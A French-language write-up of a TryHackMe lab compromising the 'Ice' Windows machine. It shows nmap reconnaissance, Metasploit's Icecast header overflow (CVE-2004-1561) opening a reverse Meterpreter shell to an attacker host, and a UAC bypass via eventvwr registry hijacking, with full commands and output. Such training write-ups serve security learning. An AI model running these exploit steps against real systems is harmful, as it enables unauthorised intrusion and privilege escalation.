
Compromission complète de la machine Ice de TryHackMe — RCE sur Icecast 2.0.1 (CVE-2004-1561) via un dépassement de tampon, suivie d'une élévation de privilèges sous Windows par contournement de l'UAC / détournement COM. Inclut une méthodologie détaillée et des mesures de remédiation.
Plateforme : TryHackMe Cible OS : Windows 7 / Windows Server 2008 R2 Difficulté : Facile Catégorie : Dépassement de tampon (RCE), élévation locale de privilèges
Ce rapport documente le compromis complet de la machine Ice sur TryHackMe, depuis la reconnaissance initiale jusqu'à l'élévation de privilèges au niveau SYSTEM. La cible expose un serveur de streaming multimédia Icecast 2.0.1 obsolète, vulnérable à un dépassement de tampon distant (CVE-2004-1561) permettant l'exécution de code arbitraire via des en-têtes HTTP malveillants. L'accès initial a été obtenu en tant qu'utilisateur à faibles privilèges via un reverse shell Meterpreter. L'élévation de privilèges vers NT AUTHORITY\SYSTEM a ensuite été réalisée en abusant d'une vulnérabilité de détournement d'objets COM Windows (bypassuac_eventvwr) qui exploite des binaires à auto-élévation et la redirection de clés de registre sous HKCU.
| Étape | Technique | Résultat |
|---|---|---|
| Reconnaissance | arp-scan, nmap | Hôte identifié + 7 ports ouverts |
| Accès initial | Dépassement de tampon des en-têtes HTTP Icecast (CVE-2004-1561) | Session Meterpreter en tant qu'utilisateur local |
| Élévation de privilèges | bypassuac_eventvwr (détournement COM/registre) | Shell SYSTEM |
Un scan ARP a été utilisé pour identifier l'adresse IP de la cible sur le réseau local.
arp-scan -l

Cible identifiée à 192.168.37.138.
Un scan SYN complet avec détection de services/versions a été exécuté contre la cible :
nmap -sS -sV 192.168.37.138
Résultats :
L'hôte a été identifié comme DARK-PC, une machine Windows. Le port 8000 exécutant Icecast s'est démarqué comme la surface d'attaque la plus prometteuse — ce n'est pas un service Windows standard et il est connu pour présenter des CVE historiques.
Une recherche de vulnérabilités Icecast connues a mis en évidence CVE-2004-1561 :
Le dépassement de tampon dans Icecast 2.0.1 et versions antérieures permet à un attaquant distant d'exécuter du code arbitraire via une requête HTTP contenant un grand nombre d'en-têtes.
Un module Metasploit correspondant a été confirmé :
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1 ne vérifie pas correctement les limites du nombre d'en-têtes HTTP qu'il traite. En envoyant plus d'en-têtes que la taille du tampon du serveur ne peut en gérer, les données excédentaires débordent dans la mémoire adjacente, écrasant des données en dehors du tampon réservé à l'analyse des en-têtes.
Plus précisément, le dépassement corrompt l'adresse de retour sauvegardée (EIP) sur la pile — l'adresse vers laquelle le CPU revient lorsque la fonction qui traite la requête se termine. En contrôlant cette adresse, un attaquant peut rediriger l'exécution vers un shellcode fourni par l'attaquant au lieu du point de retour légitime, ce qui permet l'exécution de code arbitraire dans le contexte du processus Icecast.
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
Une session Meterpreter a été établie en tant qu'utilisateur à faibles privilèges.
Avec une session active, le suggester intégré de Metasploit a été utilisé pour identifier les voies d'élévation de privilèges locales pertinentes pour le niveau de correctifs de la cible :
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Plusieurs modules ont été signalés comme probablement viables, dont bypassuac_eventvwr, qui cible les hôtes Windows 7 / Server 2008 R2 non corrigés.
Cette voie d'élévation de privilèges abuse de l'architecture COM (Component Object Model) de Windows, qui permet à des composants écrits dans différents langages d'interopérer. Les objets COM reposent généralement sur des DLL partagées, et le système détermine quelle DLL charger pour un objet COM donné via des chemins de registre — y compris des chemins stockés sous la ruche HKCU de l'utilisateur courant.
eventvwr.exe est un binaire Windows à auto-élévation (il déclenche silencieusement une invite d'élévation UAC sans afficher l'invite elle-même, en raison des paramètres de son manifeste, sur les configurations UAC par défaut). Lorsqu'il s'exécute, il interroge HKCU pour résoudre un objet COM et charger sa DLL associée.
L'exploit détourne cette recherche : il écrit une clé de registre malveillante sous la ruche HKCU de l'utilisateur courant, pointant la résolution COM vers une charge utile contrôlée par l'attaquant au lieu de la DLL système légitime. Comme eventvwr.exe s'auto-élève, la charge utile qu'il déclenche — en l'occurrence un shell de commandes — s'exécute avec le niveau d'intégrité auquel eventvwr.exe s'élève, faisant passer la session d'un utilisateur standard à un contexte à privilèges plus élevés, sans jamais afficher d'invite UAC visible.
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
Une deuxième session Meterpreter a été ouverte avec un shell élevé, atterrissant directement dans C:\Windows\system32, confirmant l'élévation de privilèges.
| # | Constatation |
|---|
eventvwr.exe a été corrigé dans les versions ultérieures de Windows ; cette attaque ne fonctionne pas contre les versions Windows modernes entièrement mises à jour.arp-scan, nmap — reconnaissanceMetasploit Framework (msfconsole) — exploitation et post-exploitationMeterpreter — shell de post-exploitation| Port | Service | Version |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (workgroup: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Serveur de streaming multimédia Icecast |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| Gravité |
|---|
| CVE / Référence |
|---|
| 1 | Dépassement de tampon des en-têtes HTTP Icecast 2.0.1 menant à l'exécution de code à distance | Critique | CVE-2004-1561 |
| 2 | Contournement de l'UAC via le détournement COM/registre (auto-élévation de eventvwr.exe) | Élevée | Faiblesse connue de conception de l'UAC sur Windows 7/Server 2008 R2 |